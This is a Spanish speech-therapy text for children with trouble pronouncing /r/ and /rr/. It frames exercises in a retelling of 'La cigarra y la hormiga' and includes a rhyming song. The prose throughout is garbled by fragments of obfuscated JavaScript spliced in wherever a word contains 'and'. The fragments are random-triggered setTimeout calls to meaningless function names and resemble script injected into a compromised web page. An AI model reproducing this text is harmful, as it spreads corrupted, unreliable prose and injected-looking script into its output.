PREVENCIÓN DE DISLALIAS

Autora: Patricia García Benítez

          El cuento que se expone a continuación va dirigido a aquellos niños y niñas que tienen dificultades para articular la /r/ y /rr/; por lo que tiene como principal objetivo lograr una perfecta articulación de ambos fonemas, explorandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando, en primer lugar, sus puntos de articulación, entrenandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando la capacidad de articularlos y afianzándolos, por último, en combinación con las diferentes vocales y consonantes.

 CUENTO: LA CIGARRA Y LA HORMIGA

             En los felices días de verano, cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando los rayos del sol se reflejaban con fuerza, la cigarra se pasaba todo el día relajada sin hacer nada (el terapeuta le dice al niño que se tumbe en la colchoneta, que se relaje e inspire profundamente, que retenga el aire unos segundos y lo expulse lentamente, concentrándose en la respiración).

          Estaba todo el día tumbada a la sombra, cantandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando felizmente con su guitarra, mientras cientos de animalitos, que paseaban por el bosque, escuchaban sus canciones:

“En mi casa, sí señor, somos músicos de honor,

 pues tenemos una orquesta, con muchísima creación. 

 Si tú quieres que te enseñe a tocar la melodía,

depende del instrumento  que te traigas ese día.

Si tocas la trompeta: tra, tratrá;

Si tocas el clarinete: cre, crecré;

Si tocas el violín: pri, priprí;

Si tocas el tambor: bro, brobró”

            Era verano y hacia mucho calor para ponerse a trabajar; por eso, cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}